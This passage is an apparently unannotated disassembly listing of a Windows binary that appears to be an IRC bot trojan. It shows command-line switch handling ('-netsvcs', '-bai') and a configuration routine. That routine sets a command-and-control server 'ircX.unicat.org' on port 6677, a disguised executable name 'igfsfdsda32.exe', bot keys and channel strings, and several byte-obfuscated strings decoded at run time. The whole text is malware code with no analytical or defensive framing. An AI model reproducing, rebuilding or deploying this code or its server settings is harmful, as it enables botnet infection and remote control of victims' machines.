jnz short loc_406DEE add eax, 2 add esi, 2 test cl, cl jnz short loc_406DCA loc_406DEA: ; CODE XREF: ___:00406DD4j xor eax, eax jmp short loc_406DF3 ; --------------------------------------------------------------------------- loc_406DEE: ; CODE XREF: ___:00406DD0j ; ___:00406DDEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DF3: ; CODE XREF: ___:00406DECj test eax, eax jnz short loc_406E00 mov byte ptr [ebx+9], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: ___:00406DF5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406E07: ; CODE XREF: ___:00406E25j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E2B test cl, cl jz short loc_406E27 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E2B add eax, 2 add esi, 2 test cl, cl jnz short loc_406E07 loc_406E27: ; CODE XREF: ___:00406E11j xor eax, eax jmp short loc_406E30 ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: ___:00406E0Dj ; ___:00406E1Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E30: ; CODE XREF: ___:00406E29j test eax, eax jnz short loc_406E3D mov byte ptr [ebx+0Ah], 1 jmp loc_406F58 ; --------------------------------------------------------------------------- loc_406E3D: ; CODE XREF: ___:00406E32j mov esi, offset aBai ; "-bai" mov eax, edi loc_406E44: ; CODE XREF: ___:00406E62j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E68 test cl, cl jz short loc_406E64 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E68 add eax, 2 add esi, 2 test cl, cl jnz short loc_406E44 loc_406E64: ; CODE XREF: ___:00406E4Ej xor eax, eax jmp short loc_406E6D ; --------------------------------------------------------------------------- loc_406E68: ; CODE XREF: ___:00406E4Aj ; ___:00406E58j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E6D: ; CODE XREF: ___:00406E66j test eax, eax jnz loc_406F58 lea ecx, [esp+10h] call sub_40142E mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406F44 push eax lea ecx, [esp+14h] call sub_4015E1 push 1 push offset asc_444600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_448F30 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406F44 push 1 push offset asc_444600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_40168B push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406F44: ; CODE XREF: ___:00406EA1j ; ___:00406EF1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F58: ; CODE XREF: ___:00406DBDj ; ___:00406DFBj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D88 xor ecx, ecx loc_406F68: ; CODE XREF: ___:00406D7Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F75 mov [ebx+5], ecx loc_406F75: ; CODE XREF: ___:00406F70j cmp [ebx+5], ecx jnz short loc_406F85 test al, al jz short loc_406F85 mov dword ptr [ebx+5], 0Ah loc_406F85: ; CODE XREF: ___:00406F78j ; ___:00406F7Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_406FB0 db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407080 proc near ; CODE XREF: sub_4020BDj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407080 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_40156E sub_407080 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43F00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407100 proc near ; CODE XREF: sub_40159Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015E1 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014EC sub_407100 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407140 proc near ; CODE XREF: sub_401B04j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AD7 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_40162C mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jz short loc_4071BB mov edi, [esp+10h+arg_0] loc_407183: ; CODE XREF: sub_407140+79j push edi lea ecx, [esp+14h+var_8] call sub_401749 mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_4071C5 call sub_401F28 lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021DF push eax lea ecx, [esp+14h+var_8] call sub_40184D test al, al jnz short loc_407183 loc_4071BB: ; CODE XREF: sub_407140+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_4071C5: ; CODE XREF: sub_407140+5Aj call sub_401749 mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_407140 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407210 proc near ; CODE XREF: sub_40221Bj xor al, al retn 4 sub_407210 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407230 proc near ; CODE XREF: sub_40156Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_407230 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_40162Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_401A96 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4021A8 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_407270 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072B0 proc near ; CODE XREF: sub_4021DFj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4021A8 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_4072B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4072E0 proc near ; CODE XREF: sub_4014ECj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021DF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_4072E0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407320 proc near ; CODE XREF: sub_401AD7j push esi mov esi, ecx call sub_401B77 mov eax, esi pop esi retn sub_407320 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_401749j mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_407340 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407360 proc near ; CODE XREF: sub_401F28j push esi mov esi, ecx mov eax, [esi] push eax call sub_401A96 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407360 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407390 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FBE neg al sbb eax, eax inc eax retn 4 sub_407390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4073C0 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C9E mov edi, eax push edi call sub_401C6C mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_4073C0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C6C push edi mov [eax], ebx call sub_401C6C mov edi, [eax] push edi call sub_401C6C mov ecx, [eax] push ecx call sub_401A96 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_40167C mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4021A8 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407460 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019D8 sub_407460 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407475 mov edi, esi loc_407475: ; CODE XREF: ___:00407471j push esi call sub_401A96 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40748A mov edi, esi loc_40748A: ; CODE XREF: ___:00407486j push esi call sub_401C6C add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074B0 proc near ; CODE XREF: sub_401A96j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_4074B0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074D0 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4074D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401B77j mov eax, ecx retn sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407510 proc near ; CODE XREF: sub_4021A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_407510 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407540 proc near ; CODE XREF: sub_401FBEj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_407540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407590 proc near ; CODE XREF: sub_4019D8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_407590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_40167Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075F0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075F0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_401C9Ej mov eax, [ecx] retn sub_407610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407630 proc near ; CODE XREF: sub_401D2Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40763A xor eax, eax loc_40763A: ; CODE XREF: sub_407630+6j push eax call sub_437AEA sub_407630 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407660 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40767B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40767B: ; CODE XREF: sub_407660+11j retn sub_407660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407690 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076B0 proc near ; CODE XREF: sub_401B40j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076B0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017EE push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_4076B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407740 proc near ; CODE XREF: sub_401CD5j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407740 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+20h+arg_4] call sub_4017EE push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_44ACD6 call sub_401B72 sub_407740 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4077E0 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4077E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_2C4] call sub_40142E lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_40142E lea ecx, [esp+35Ch+var_174] mov byte ptr [esp+35Ch+var_4], 1 call sub_40142E lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 2 call sub_40142E lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 3 call sub_40142E lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 4 call sub_40142E lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 5 call sub_40142E lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 6 call sub_40142E lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 7 call sub_40142E lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_40142E lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_40142E lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_40142E lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_40142E lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_40142E lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_40142E lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_40142E lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_40142E lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 10h call sub_40142E lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 11h call sub_40142E mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_18C] call sub_40142E lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 13h call sub_40142E lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 14h call sub_40142E lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 15h call sub_40142E lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 16h call sub_40142E lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 17h call sub_40142E lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 18h call sub_40142E lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 19h call sub_40142E lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_40142E lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_40142E lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_40142E lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_40142E mov ebx, 1Eh push offset aIrcx_unicat_or ; "ircX.unicat.org" lea ecx, [esp+360h+var_2C4] mov byte ptr [esp+360h+var_4], bl call sub_401A9B push offset a6677 ; "6677" lea ecx, [esp+360h+var_2DC] call sub_401A9B push offset byte_448F30 lea ecx, [esp+360h+var_144] call sub_401A9B lea eax, [esp+35Ch+var_2C4] lea ecx, [esp+35Ch+var_174] push eax call sub_40202C lea ecx, [esp+35Ch+var_2DC] push ecx lea ecx, [esp+360h+var_1A4] call sub_40202C push offset byte_448F30 lea ecx, [esp+360h+var_1BC] call sub_401A9B push offset dword_444870 lea ecx, [esp+360h+var_2AC] call sub_401A9B push offset off_44486C lea ecx, [esp+360h+var_24C] call sub_401A9B push offset aXkey ; "Xkey" lea ecx, [esp+360h+var_2F4] call sub_401A9B push offset aIgfsfdsda32_ex ; "igfsfdsda32.exe" lea ecx, [esp+360h+var_1D4] call sub_401A9B push offset aAyssafsdsfsddk ; "ayssafsdsfsddklfsdf" lea ecx, [esp+360h+var_204] call sub_401A9B push offset asc_444834 ; "X-" lea ecx, [esp+360h+var_294] call sub_401A9B push offset aSet ; "set" lea ecx, [esp+360h+var_234] call sub_401A9B push 0 push 4Ah push 20h push 48h push 1Ch push 4Bh push 46h push 4Ah push 46h push 47h push 4Ch push 1Fh push 48h push 1Fh push ebx push 1Bh push 1Dh push 47h push 4Bh push 47h push ebx push 45h push 46h push 4Ah push 48h push ebx push 1Dh push 1Ch push 4Ah push 20h push 4Ch push 4Dh lea edx, [esp+3DCh+var_348] push 44h push edx call sub_4019C4 add esp, 88h push eax lea ecx, [esp+360h+var_264] mov byte ptr [esp+360h+var_4], 1Fh call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push offset aFeeling_nasty ; "feeling.nasty" lea ecx, [esp+360h+var_E4] call sub_401A9B push offset aEvil ; "evil" lea ecx, [esp+360h+var_15C] call sub_401A9B push offset aMicrosoftVisua ; "MicroSoft Visual SP4" lea ecx, [esp+360h+var_114] call sub_401A9B push offset dword_4447F8 lea ecx, [esp+360h+var_27C] call sub_401A9B push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019C4 add esp, 30h push eax lea ecx, [esp+360h+var_18C] mov byte ptr [esp+360h+var_4], 20h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 46h push 47h push 5 push 12h push 1 push 3 push 5 push 16h push 9 lea ecx, [esp+3BCh+var_348] push 0Ch push ecx call sub_4019C4 add esp, 68h push eax lea ecx, [esp+360h+var_1EC] mov byte ptr [esp+360h+var_4], 21h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 22h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019C4 add esp, 14h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 24h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 25h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019C4 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 26h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019C4 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 27h call sub_40202C lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2F4] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401870 push 0 push 13h push 13h push 1 push 10h push 0Eh mov byte ptr [esp+38Ch+var_4], 28h push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 29h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401870 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 2Ah call sub_401CD5 sub_4077E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 2Bh call sub_4019C4 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Eh call sub_4019C4 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401CD5 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401870 push 0 push 12h push 5 push 16h push 12h push 5 push 13h mov byte ptr [esp+38Ch], 31h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx call sub_4019C4 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_4017EE sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401870 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 33h call sub_401CD5 ; 